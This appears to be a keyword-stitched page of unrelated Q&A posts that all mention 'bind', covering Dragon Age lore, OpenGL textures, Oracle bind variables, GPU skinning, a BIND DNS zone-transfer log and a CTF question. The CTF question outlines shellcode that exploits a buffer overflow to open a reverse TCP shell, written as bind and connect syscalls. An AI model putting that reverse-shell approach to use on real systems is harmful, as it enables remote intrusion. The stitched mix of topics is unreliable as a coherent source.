Dragon Age RPG: Can a Mage Bind Spirits to Items Like Cannons?

My experience is limited to the Dragon Age games and a few RPG books (namely, a 2015 Core Rulebook, Players’ and GM’s Guide v1.2) and I’ve played Inquisition as an attempt to prime myself to write an adventure in the setting.

I want a Tevinter Mage to assault a Qunari-held Fortress with the aid of magic shell-loaded gunpowder cannons. In essence, it’d be Magical Spellslinging, except mortar-sized… with a potential endgame being a rush to prevent the development and application of Artillery-sized weapons. … Possibly, "Big Bertha" level arms’ race escalation.

My question is this: I’ve seen that Rebel Mages in Inquisition would carry spellbooks upon which they had trapped spirits of the Fade and commanded them. Could spirits be bound to a cannon? Or to the shells themselves? What sort of repercussion would the developer of such devices have to contend with? Would the Chantry put a Holy Crusade against him/her/it? Would Tevinter back, either officially or unofficially, such an idea? And would the Qunari in particular employ any and all methods to cease such research, due to their innate distrust of all things magical?

Bind render result to texture id

I want to save the result screen of the rendering and then apply another shader on that result, the typical way is to read the screen using glReadPixels and then buffer that image to gpu and then apply my effect, so is there a way to bind the screen result to a texture id directory in gpu, instead of retrieving it back to CPU and then buffer it to GPU ?

How to use ‘Bind Variables’ in a ‘Dynamic Query ‘ when the exact number of variables are not known

I have a procedure in which I’m using Dynamic SQL. The input parameteri_tables is a string which is a concatenation of the name of some tables . It might be one these :

1)All tables test_table1,test_table2,test_table3.

2)Only two tables , for instance test_table2,test_table3 .

3)Nothing .So NULL will pass to the procedure.

I’ve read about Bind variable and the significant role it has in preventing injection and improving performance. I want to use bind variable in my procedure but there is one things I don’t know how to handle :

As you can see we do not know the exact number of variables.It might be one , two , three or nothing. Depending on The input parameteri_tables.

   create or replace procedure bind_variable_test(i_tables varchar2,                                                   i_cid    number,                                                   o_result out sys_refcursor) is     actual_query varchar2(1000) := '';    begin         -- this is the base query     actual_query := 'select *                 from z_test_a t1                   inner join z_test_b t2                 on t1.id = t2.id';      -- check input parameter " i_tables "       if i_tables like '%test_table1%' then              actual_query := actual_query || '  inner join test_table1 t3 on t3.id = t1.id and                              t3.cid = ' || i_cid;      end if;       if i_tables like '%test_table2%' then             actual_query := actual_query || '  inner join test_table2 t4 on t4.id = t1.id and                              t4.cid = ' || i_cid;      end if;       if i_tables like '%test_table3%' then             actual_query := actual_query || '  inner join test_table3 t5 on t5.id = t1.id and                    t5.cid = ' || i_cid;      end if;      open o_result for actual_query;     end; 

Vertex skinning, calculating the bone matrices (for bind pose) and then animating them

I am attempting to do HW skinning in Opengl. Please note that I am purposefully doing it in a not-game ready optimized way, because I need this to scale. I wrote the following code to ‘apply’ the skinning:

  mat4 BoneXForm;    for (int i = 0; i < maximumInfluence; i++) {     BoneXForm += globalAnimMats[blendWeights[i * gl_VertexID].blendId] * blendWeights[i * gl_VertexID].blendValue;   }    vec4 VertPoseLong = BoneXForm * vec4(vertPos, 1.0);    // Set the vertex postion   gl_Position = MVP * VertPoseLong; 

This code uses ‘globalAnimMats’ a mat4 x bones, and an array of skinning indices/value combos:

struct { int BoneIndex; float Influence; }; 

My issue is, I am not sure what the value of each matrix should be in the matrix buffer. Per each bone on the CPU, I have local space pos/rot and global space pos/rot. My goal here is so also apply an animation to the skeleton.

The position is a vec3 and the rotation is a quat. I have tried doing global pos/rot as a mat4 but the whole model moves above the skeleton.

Transfer requests for localhost zone on my bind DNS server

I use Debian stretch and Bind 9.10.3 as my DNS server.

Today I saw the following entry in my log file:

Apr 17 23:04:22 ns named[111]: client (localhost): transfer of 'localhost/IN': AXFR started (serial 2) Apr 17 23:04:22 ns named[111]: client (localhost): transfer of 'localhost/IN': AXFR ended 

The IP address belongs to zone dns-ops.arin.net. and whois points to INTERNET-RESEARCH-NET.

  1. Do I need to be concerned?
  2. Why do they transfer the localhost zone?
  3. Why is this transfer successful? (*)

(*) My config is largely the default Debian one. Importantly I have not modified the stock named.conf.default-zones file, i.e. no transfers should be allowed at all:

zone "localhost" {         type master;         file "/etc/bind/db.local"; }; 

Reverse TCP – Bind to a specific port

So, I’m trying to solve a CTF challenge that involves exploiting a remote service. The service doesn’t check for the size of the input and there is a buffer overflow vulnerability. However, before I can hijack the control flow to my shellcode, the program closes the connection. So, I’m trying to have my shellcode connect back to me. A small hurdle is that the server allows outbound connections only through port 4444. So, my shellcode does the following

  2. bind(socket_fd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("")}, 16)
  3. connect(socket_fd, {sa_family=AF_INET, sin_port=htons(port_no), sin_addr=inet_addr("ip")}, 16)

I am trying to get a reverse TCP session and I believe by binding to port 4444 the outbound connection will go through 4444. While the exploit works on my local system, the remote exploit does not work. Any thoughts on what Im missing or what I should be considering? Thanks!